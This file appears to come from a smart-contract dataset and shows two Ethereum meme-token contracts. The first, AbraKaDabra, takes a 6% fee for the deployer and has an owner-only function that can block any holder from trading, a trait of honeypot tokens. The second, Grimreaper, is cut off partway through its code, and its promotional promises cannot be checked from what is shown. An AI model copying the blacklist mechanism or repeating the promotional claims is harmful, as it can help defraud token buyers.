|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.
|
2 |
+
|
3 |
+
/**
|
4 |
+
|
5 |
+
🧙♂️AbraKaDabra ETH 🧙♂️
|
6 |
+
|
7 |
+
I hope everyone know AbraKaDabra🧙♂️
|
8 |
+
|
9 |
+
This is a word magical word to do any magic 🪄
|
10 |
+
|
11 |
+
Lets do AbraKaDabra and send this to thr moon 🌙
|
12 |
+
|
13 |
+
Magic needs sacrifice🩸that is you and a sorcerer, thats me 🧙♂️.
|
14 |
+
|
15 |
+
So sacrifice you have to give us is 6% of every transaction and you will se our AbraKaDabra 🪄 mangi 🪄🧙♂️
|
16 |
+
|
17 |
+
https://t.me/abrakadabraeth
|
18 |
+
|
19 |
+
www.abrakadabra-eth.com
|
20 |
+
|
21 |
+
*/
|
22 |
+
|
23 |
+
|
24 |
+
pragma solidity 0.8.7;
|
25 |
+
// SPDX-License-Identifier: UNLICENSED
|
26 |
+
abstract contract Context {
|
27 |
+
function _msgSender() internal view virtual returns (address) {
|
28 |
+
return msg.sender;
|
29 |
+
}
|
30 |
+
}
|
31 |
+
|
32 |
+
interface IERC20 {
|
33 |
+
function totalSupply() external view returns (uint256);
|
34 |
+
function balanceOf(address account) external view returns (uint256);
|
35 |
+
function transfer(address recipient, uint256 amount) external returns (bool);
|
36 |
+
function allowance(address owner, address spender) external view returns (uint256);
|
37 |
+
function approve(address spender, uint256 amount) external returns (bool);
|
38 |
+
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
|
39 |
+
event Transfer(address indexed from, address indexed to, uint256 value);
|
40 |
+
event Approval(address indexed owner, address indexed spender, uint256 value);
|
41 |
+
}
|
42 |
+
|
43 |
+
library SafeMath {
|
44 |
+
function add(uint256 a, uint256 b) internal pure returns (uint256) {
|
45 |
+
uint256 c = a + b;
|
46 |
+
require(c >= a, "SafeMath: addition overflow");
|
47 |
+
return c;
|
48 |
+
}
|
49 |
+
|
50 |
+
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
|
51 |
+
return sub(a, b, "SafeMath: subtraction overflow");
|
52 |
+
}
|
53 |
+
|
54 |
+
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
|
55 |
+
require(b <= a, errorMessage);
|
56 |
+
uint256 c = a - b;
|
57 |
+
return c;
|
58 |
+
}
|
59 |
+
|
60 |
+
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
|
61 |
+
if (a == 0) {
|
62 |
+
return 0;
|
63 |
+
}
|
64 |
+
uint256 c = a * b;
|
65 |
+
require(c / a == b, "SafeMath: multiplication overflow");
|
66 |
+
return c;
|
67 |
+
}
|
68 |
+
|
69 |
+
function div(uint256 a, uint256 b) internal pure returns (uint256) {
|
70 |
+
return div(a, b, "SafeMath: division by zero");
|
71 |
+
}
|
72 |
+
|
73 |
+
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
|
74 |
+
require(b > 0, errorMessage);
|
75 |
+
uint256 c = a / b;
|
76 |
+
return c;
|
77 |
+
}
|
78 |
+
|
79 |
+
}
|
80 |
+
|
81 |
+
contract Ownable is Context {
|
82 |
+
address private _owner;
|
83 |
+
address private _previousOwner;
|
84 |
+
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
|
85 |
+
|
86 |
+
constructor () {
|
87 |
+
address msgSender = _msgSender();
|
88 |
+
_owner = msgSender;
|
89 |
+
emit OwnershipTransferred(address(0), msgSender);
|
90 |
+
}
|
91 |
+
|
92 |
+
function owner() public view returns (address) {
|
93 |
+
return _owner;
|
94 |
+
}
|
95 |
+
|
96 |
+
modifier onlyOwner() {
|
97 |
+
require(_owner == _msgSender(), "Ownable: caller is not the owner");
|
98 |
+
_;
|
99 |
+
}
|
100 |
+
|
101 |
+
function renounceOwnership() public virtual onlyOwner {
|
102 |
+
emit OwnershipTransferred(_owner, address(0));
|
103 |
+
_owner = address(0);
|
104 |
+
}
|
105 |
+
|
106 |
+
}
|
107 |
+
|
108 |
+
interface IUniswapV2Factory {
|
109 |
+
function createPair(address tokenA, address tokenB) external returns (address pair);
|
110 |
+
}
|
111 |
+
|
112 |
+
interface IUniswapV2Router02 {
|
113 |
+
function swapExactTokensForETHSupportingFeeOnTransferTokens(
|
114 |
+
uint amountIn,
|
115 |
+
uint amountOutMin,
|
116 |
+
address[] calldata path,
|
117 |
+
address to,
|
118 |
+
uint deadline
|
119 |
+
) external;
|
120 |
+
function factory() external pure returns (address);
|
121 |
+
function WETH() external pure returns (address);
|
122 |
+
function addLiquidityETH(
|
123 |
+
address token,
|
124 |
+
uint amountTokenDesired,
|
125 |
+
uint amountTokenMin,
|
126 |
+
uint amountETHMin,
|
127 |
+
address to,
|
128 |
+
uint deadline
|
129 |
+
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
|
130 |
+
}
|
131 |
+
|
132 |
+
contract AbraKaDabra is Context, IERC20, Ownable {
|
133 |
+
using SafeMath for uint256;
|
134 |
+
mapping (address => uint256) private _rOwned;
|
135 |
+
mapping (address => uint256) private _tOwned;
|
136 |
+
mapping (address => mapping (address => uint256)) private _allowances;
|
137 |
+
mapping (address => bool) private _isExcludedFromFee;
|
138 |
+
mapping (address => bool) private bots;
|
139 |
+
mapping (address => uint) private cooldown;
|
140 |
+
uint256 private constant MAX = ~uint256(0);
|
141 |
+
uint256 private constant _tTotal = 100000000 * 10**9;
|
142 |
+
uint256 private _rTotal = (MAX - (MAX % _tTotal));
|
143 |
+
uint256 private _tFeeTotal;
|
144 |
+
|
145 |
+
uint256 private _feeAddr1;
|
146 |
+
uint256 private _feeAddr2;
|
147 |
+
uint256 private _standardTax;
|
148 |
+
address payable private _feeAddrWallet;
|
149 |
+
|
150 |
+
string private constant _name = "AbraKaDabra";
|
151 |
+
string private constant _symbol = "AbrakaDabra";
|
152 |
+
uint8 private constant _decimals = 9;
|
153 |
+
|
154 |
+
IUniswapV2Router02 private uniswapV2Router;
|
155 |
+
address private uniswapV2Pair;
|
156 |
+
bool private tradingOpen;
|
157 |
+
bool private inSwap = false;
|
158 |
+
bool private swapEnabled = false;
|
159 |
+
bool private cooldownEnabled = false;
|
160 |
+
uint256 private _maxTxAmount = _tTotal.mul(20).div(1000);
|
161 |
+
uint256 private _maxWalletSize = _tTotal.mul(30).div(1000);
|
162 |
+
event MaxTxAmountUpdated(uint _maxTxAmount);
|
163 |
+
modifier lockTheSwap {
|
164 |
+
inSwap = true;
|
165 |
+
_;
|
166 |
+
inSwap = false;
|
167 |
+
}
|
168 |
+
|
169 |
+
constructor () {
|
170 |
+
_feeAddrWallet = payable(_msgSender());
|
171 |
+
_rOwned[_msgSender()] = _rTotal;
|
172 |
+
_isExcludedFromFee[owner()] = true;
|
173 |
+
_isExcludedFromFee[address(this)] = true;
|
174 |
+
_isExcludedFromFee[_feeAddrWallet] = true;
|
175 |
+
_standardTax=6;
|
176 |
+
|
177 |
+
emit Transfer(address(0), _msgSender(), _tTotal);
|
178 |
+
}
|
179 |
+
|
180 |
+
function name() public pure returns (string memory) {
|
181 |
+
return _name;
|
182 |
+
}
|
183 |
+
|
184 |
+
function symbol() public pure returns (string memory) {
|
185 |
+
return _symbol;
|
186 |
+
}
|
187 |
+
|
188 |
+
function decimals() public pure returns (uint8) {
|
189 |
+
return _decimals;
|
190 |
+
}
|
191 |
+
|
192 |
+
function totalSupply() public pure override returns (uint256) {
|
193 |
+
return _tTotal;
|
194 |
+
}
|
195 |
+
|
196 |
+
function balanceOf(address account) public view override returns (uint256) {
|
197 |
+
return tokenFromReflection(_rOwned[account]);
|
198 |
+
}
|
199 |
+
|
200 |
+
function transfer(address recipient, uint256 amount) public override returns (bool) {
|
201 |
+
_transfer(_msgSender(), recipient, amount);
|
202 |
+
return true;
|
203 |
+
}
|
204 |
+
|
205 |
+
function allowance(address owner, address spender) public view override returns (uint256) {
|
206 |
+
return _allowances[owner][spender];
|
207 |
+
}
|
208 |
+
|
209 |
+
function approve(address spender, uint256 amount) public override returns (bool) {
|
210 |
+
_approve(_msgSender(), spender, amount);
|
211 |
+
return true;
|
212 |
+
}
|
213 |
+
|
214 |
+
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
|
215 |
+
_transfer(sender, recipient, amount);
|
216 |
+
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
|
217 |
+
return true;
|
218 |
+
}
|
219 |
+
|
220 |
+
function setCooldownEnabled(bool onoff) external onlyOwner() {
|
221 |
+
cooldownEnabled = onoff;
|
222 |
+
}
|
223 |
+
|
224 |
+
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
|
225 |
+
require(rAmount <= _rTotal, "Amount must be less than total reflections");
|
226 |
+
uint256 currentRate = _getRate();
|
227 |
+
return rAmount.div(currentRate);
|
228 |
+
}
|
229 |
+
|
230 |
+
function _approve(address owner, address spender, uint256 amount) private {
|
231 |
+
require(owner != address(0), "ERC20: approve from the zero address");
|
232 |
+
require(spender != address(0), "ERC20: approve to the zero address");
|
233 |
+
_allowances[owner][spender] = amount;
|
234 |
+
emit Approval(owner, spender, amount);
|
235 |
+
}
|
236 |
+
|
237 |
+
function _transfer(address from, address to, uint256 amount) private {
|
238 |
+
require(from != address(0), "ERC20: transfer from the zero address");
|
239 |
+
require(to != address(0), "ERC20: transfer to the zero address");
|
240 |
+
require(amount > 0, "Transfer amount must be greater than zero");
|
241 |
+
|
242 |
+
|
243 |
+
if (from != owner() && to != owner()) {
|
244 |
+
require(!bots[from] && !bots[to]);
|
245 |
+
_feeAddr1 = 0;
|
246 |
+
_feeAddr2 = _standardTax;
|
247 |
+
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
|
248 |
+
// Cooldown
|
249 |
+
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
|
250 |
+
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
|
251 |
+
|
252 |
+
}
|
253 |
+
|
254 |
+
|
255 |
+
uint256 contractTokenBalance = balanceOf(address(this));
|
256 |
+
if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance>0) {
|
257 |
+
swapTokensForEth(contractTokenBalance);
|
258 |
+
uint256 contractETHBalance = address(this).balance;
|
259 |
+
if(contractETHBalance > 0) {
|
260 |
+
sendETHToFee(address(this).balance);
|
261 |
+
}
|
262 |
+
}
|
263 |
+
}else{
|
264 |
+
_feeAddr1 = 0;
|
265 |
+
_feeAddr2 = 0;
|
266 |
+
}
|
267 |
+
|
268 |
+
_tokenTransfer(from,to,amount);
|
269 |
+
}
|
270 |
+
|
271 |
+
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
|
272 |
+
address[] memory path = new address[](2);
|
273 |
+
path[0] = address(this);
|
274 |
+
path[1] = uniswapV2Router.WETH();
|
275 |
+
_approve(address(this), address(uniswapV2Router), tokenAmount);
|
276 |
+
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
|
277 |
+
tokenAmount,
|
278 |
+
0,
|
279 |
+
path,
|
280 |
+
address(this),
|
281 |
+
block.timestamp
|
282 |
+
);
|
283 |
+
}
|
284 |
+
|
285 |
+
function setStandardTax(uint256 newTax) external onlyOwner{
|
286 |
+
require(newTax<_standardTax);
|
287 |
+
_standardTax=newTax;
|
288 |
+
}
|
289 |
+
|
290 |
+
function removeLimits() external onlyOwner{
|
291 |
+
_maxTxAmount = _tTotal;
|
292 |
+
_maxWalletSize = _tTotal;
|
293 |
+
}
|
294 |
+
|
295 |
+
function sendETHToFee(uint256 amount) private {
|
296 |
+
_feeAddrWallet.transfer(amount);
|
297 |
+
}
|
298 |
+
|
299 |
+
function openTrading() external onlyOwner() {
|
300 |
+
require(!tradingOpen,"trading is already open");
|
301 |
+
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
|
302 |
+
uniswapV2Router = _uniswapV2Router;
|
303 |
+
_approve(address(this), address(uniswapV2Router), _tTotal);
|
304 |
+
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
|
305 |
+
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
|
306 |
+
swapEnabled = true;
|
307 |
+
cooldownEnabled = true;
|
308 |
+
|
309 |
+
tradingOpen = true;
|
310 |
+
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
|
311 |
+
}
|
312 |
+
|
313 |
+
function addbot(address[] memory bots_) public onlyOwner {
|
314 |
+
for (uint i = 0; i < bots_.length; i++) {
|
315 |
+
bots[bots_[i]] = true;
|
316 |
+
}
|
317 |
+
}
|
318 |
+
|
319 |
+
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
|
320 |
+
_transferStandard(sender, recipient, amount);
|
321 |
+
}
|
322 |
+
|
323 |
+
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
|
324 |
+
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
|
325 |
+
_rOwned[sender] = _rOwned[sender].sub(rAmount);
|
326 |
+
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
|
327 |
+
_takeTeam(tTeam);
|
328 |
+
_reflectFee(rFee, tFee);
|
329 |
+
emit Transfer(sender, recipient, tTransferAmount);
|
330 |
+
}
|
331 |
+
|
332 |
+
function _takeTeam(uint256 tTeam) private {
|
333 |
+
uint256 currentRate = _getRate();
|
334 |
+
uint256 rTeam = tTeam.mul(currentRate);
|
335 |
+
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
|
336 |
+
}
|
337 |
+
|
338 |
+
function _reflectFee(uint256 rFee, uint256 tFee) private {
|
339 |
+
_rTotal = _rTotal.sub(rFee);
|
340 |
+
_tFeeTotal = _tFeeTotal.add(tFee);
|
341 |
+
}
|
342 |
+
|
343 |
+
receive() external payable {}
|
344 |
+
|
345 |
+
function manualswap() external {
|
346 |
+
require(_msgSender() == _feeAddrWallet);
|
347 |
+
uint256 contractBalance = balanceOf(address(this));
|
348 |
+
swapTokensForEth(contractBalance);
|
349 |
+
}
|
350 |
+
|
351 |
+
function manualsend() external {
|
352 |
+
require(_msgSender() == _feeAddrWallet);
|
353 |
+
uint256 contractETHBalance = address(this).balance;
|
354 |
+
sendETHToFee(contractETHBalance);
|
355 |
+
}
|
356 |
+
|
357 |
+
|
358 |
+
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
|
359 |
+
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
|
360 |
+
uint256 currentRate = _getRate();
|
361 |
+
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
|
362 |
+
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
|
363 |
+
}
|
364 |
+
|
365 |
+
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
|
366 |
+
uint256 tFee = tAmount.mul(taxFee).div(100);
|
367 |
+
uint256 tTeam = tAmount.mul(TeamFee).div(100);
|
368 |
+
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
|
369 |
+
return (tTransferAmount, tFee, tTeam);
|
370 |
+
}
|
371 |
+
|
372 |
+
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
|
373 |
+
uint256 rAmount = tAmount.mul(currentRate);
|
374 |
+
uint256 rFee = tFee.mul(currentRate);
|
375 |
+
uint256 rTeam = tTeam.mul(currentRate);
|
376 |
+
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
|
377 |
+
return (rAmount, rTransferAmount, rFee);
|
378 |
+
}
|
379 |
+
|
380 |
+
function _getRate() private view returns(uint256) {
|
381 |
+
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
|
382 |
+
return rSupply.div(tSupply);
|
383 |
+
}
|
384 |
+
|
385 |
+
function _getCurrentSupply() private view returns(uint256, uint256) {
|
386 |
+
uint256 rSupply = _rTotal;
|
387 |
+
uint256 tSupply = _tTotal;
|
388 |
+
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
|
389 |
+
return (rSupply, tSupply);
|
390 |
+
}
|
391 |
+
}
|
organized_contracts/00/000b1540637b24f83bda88cefbc2a49eaa7281ce46e323d947c220dca9536365/metadata.json
ADDED
@@ -0,0 +1 @@
|
|
|
|
|
1 |
+
{"ContractName":"AbraKaDabra","CompilerVersion":"v0.8.7+commit.e28d00a7","Runs":200,"OptimizationUsed":true,"BytecodeHash":"000b1540637b24f83bda88cefbc2a49eaa7281ce46e323d947c220dca9536365"}
|
organized_contracts/00/000b154951d1a6bad330c6c24edc883c395c041c0c3e6475cce263515192aa38/main.sol
ADDED
@@ -0,0 +1,396 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.
|
2 |
+
|
3 |
+
/**
|
4 |
+
.""--..__
|
5 |
+
_ [] ``-.._
|
6 |
+
.'` `'. ||__ `-._
|
7 |
+
/ ,-.\ ||_ ```---..__ `-.
|
8 |
+
/ /:::\\ /|//} ``--._ `.
|
9 |
+
| |:::|| |////} `-. \
|
10 |
+
| |:::|| //'/// `.\
|
11 |
+
| |:::|| // ||' `|
|
12 |
+
jgs / |:::|/ _,-//\ ||
|
13 |
+
hh /` |:::|`-,__,-'` |/ \ ||
|
14 |
+
/` | |'' || \ |||
|
15 |
+
/` \ | || | /||
|
16 |
+
|` | | |) \ | ||
|
17 |
+
| \ | / ,.__ \| ||
|
18 |
+
/ ` /` `\ | ||
|
19 |
+
| / \ / ||
|
20 |
+
| | | / ||
|
21 |
+
/ / | `( ||
|
22 |
+
/ . / ) ||
|
23 |
+
| \ | ________||
|
24 |
+
/ | / `-------.|
|
25 |
+
|\ / | ||
|
26 |
+
\/`-._ | / ||
|
27 |
+
// `. /` | ||
|
28 |
+
//`. `. | \ ||
|
29 |
+
///\ `-._ )/ | ||
|
30 |
+
//// ) .(/ | ||
|
31 |
+
|||| ,'` ) / //
|
32 |
+
|||| / / ||
|
33 |
+
`\\` /` | //
|
34 |
+
|` \ ||
|
35 |
+
/ | //
|
36 |
+
/` \ //
|
37 |
+
/` | ||
|
38 |
+
`-.___,-. .-. ___,' (/
|
39 |
+
`---'` `'----'`
|
40 |
+
|
41 |
+
After Seeing A Token With This Name Previously Launch And Failed I Have Been Inspired
|
42 |
+
To Deploy Under The Same Name Due To The Big Community Base That Is Aware
|
43 |
+
Of The Grimreaper.
|
44 |
+
|
45 |
+
Total Supply - 100,000
|
46 |
+
Initial Liquidity Added - 5.0 Ethereum
|
47 |
+
100% Of The Initial Liquidity Will Be Locked Or Burned
|
48 |
+
Buying Fees - 0%
|
49 |
+
Selling Fees - 0%
|
50 |
+
|
51 |
+
No Tax. Renounced Ownership. Belongs To The Blockchain. Liquidity Will Be Burned.
|
52 |
+
No Current Socials. Feel Free To Create Them. Meet The Demogorgon.
|
53 |
+
|
54 |
+
If This Project Does Not Get Instantly Killed For A X2 And I See Potential
|
55 |
+
I Will Use My Funds And Network Connections To Push This Project As Far As Possible.
|
56 |
+
*/
|
57 |
+
|
58 |
+
// SPDX-License-Identifier: Unlicensed
|
59 |
+
pragma solidity ^0.8.10;
|
60 |
+
|
61 |
+
interface IUniswapV2Router01 {
|
62 |
+
function factory() external pure returns (address);
|
63 |
+
function WETH() external pure returns (address);
|
64 |
+
|
65 |
+
function addLiquidity(
|
66 |
+
address tokenA,
|
67 |
+
address tokenB,
|
68 |
+
uint amountADesired,
|
69 |
+
uint amountBDesired,
|
70 |
+
uint amountAMin,
|
71 |
+
uint amountBMin,
|
72 |
+
address to,
|
73 |
+
uint deadline
|
74 |
+
) external returns (uint amountA, uint amountB, uint liquidity);
|
75 |
+
function addLiquidityETH(
|
76 |
+
address token,
|
77 |
+
uint amountTokenDesired,
|
78 |
+
uint amountTokenMin,
|
79 |
+
uint amountETHMin,
|
80 |
+
address to,
|
81 |
+
uint deadline
|
82 |
+
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
|
83 |
+
function removeLiquidity(
|
84 |
+
address tokenA,
|
85 |
+
address tokenB,
|
86 |
+
uint liquidity,
|
87 |
+
uint amountAMin,
|
88 |
+
uint amountBMin,
|
89 |
+
address to,
|
90 |
+
uint deadline
|
91 |
+
) external returns (uint amountA, uint amountB);
|
92 |
+
function removeLiquidityETH(
|
93 |
+
address token,
|
94 |
+
uint liquidity,
|
95 |
+
uint amountTokenMin,
|
96 |
+
uint amountETHMin,
|
97 |
+
address to,
|
98 |
+
uint deadline
|
99 |
+
) external returns (uint amountToken, uint amountETH);
|
100 |
+
function removeLiquidityWithPermit(
|
101 |
+
address tokenA,
|
102 |
+
address tokenB,
|
103 |
+
uint liquidity,
|
104 |
+
uint amountAMin,
|
105 |
+
uint amountBMin,
|
106 |
+
address to,
|
107 |
+
uint deadline,
|
108 |
+
bool approveMax, uint8 v, bytes32 r, bytes32
|
109 |
+
) external returns (uint amountA, uint amountB);
|
110 |
+
function removeLiquidityETHWithPermit(
|
111 |
+
address token,
|
112 |
+
uint liquidity,
|
113 |
+
uint amountTokenMin,
|
114 |
+
uint amountETHMin,
|
115 |
+
address to,
|
116 |
+
uint deadline,
|
117 |
+
bool approveMax, uint8 v, bytes32 r, bytes32 s
|
118 |
+
) external returns (uint amountToken, uint amountETH);
|
119 |
+
function swapExactTokensForTokens(
|
120 |
+
uint amountIn,
|
121 |
+
uint amountOutMin,
|
122 |
+
address[] calldata path,
|
123 |
+
address to,
|
124 |
+
uint deadline
|
125 |
+
) external returns (uint[] memory amounts);
|
126 |
+
function swapTokensForExactTokens(
|
127 |
+
uint amountOut,
|
128 |
+
uint amountInMax,
|
129 |
+
address[] calldata path,
|
130 |
+
address to,
|
131 |
+
uint deadline
|
132 |
+
) external returns (uint[] memory amounts);
|
133 |
+
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
|
134 |
+
external
|
135 |
+
payable
|
136 |
+
returns (uint[] memory amounts);
|
137 |
+
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
|
138 |
+
external
|
139 |
+
returns (uint[] memory amounts);
|
140 |
+
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
|
141 |
+
external
|
142 |
+
returns (uint[] memory amounts);
|
143 |
+
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
|
144 |
+
external
|
145 |
+
payable
|
146 |
+
returns (uint[] memory amounts);
|
147 |
+
function Quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
|
148 |
+
function GetAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
|
149 |
+
function GetAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
|
150 |
+
function GetAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
|
151 |
+
function GetAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
|
152 |
+
}
|
153 |
+
interface IUniswapV2Router02 is IUniswapV2Router01 {
|
154 |
+
function removeLiquidityETHSupportingFeeOnTransferTokens(
|
155 |
+
address token,
|
156 |
+
uint liquidity,
|
157 |
+
uint amountTokenMin,
|
158 |
+
uint amountETHMin,
|
159 |
+
address to,
|
160 |
+
uint deadline
|
161 |
+
) external returns (uint amountETH);
|
162 |
+
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
|
163 |
+
address token,
|
164 |
+
uint liquidity,
|
165 |
+
uint amountTokenMin,
|
166 |
+
uint amountETHMin,
|
167 |
+
address to,
|
168 |
+
uint deadline,
|
169 |
+
bool approveMax, uint8 v, bytes32 r, bytes32 s
|
170 |
+
) external returns (uint amountETH);
|
171 |
+
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
|
172 |
+
uint amountIn,
|
173 |
+
uint amountOutMin,
|
174 |
+
address[] calldata path,
|
175 |
+
address to,
|
176 |
+
uint deadline
|
177 |
+
) external;
|
178 |
+
function swapExactETHForTokensSupportingFeeOnTransferTokens(
|
179 |
+
uint amountOutMin,
|
180 |
+
address[] calldata path,
|
181 |
+
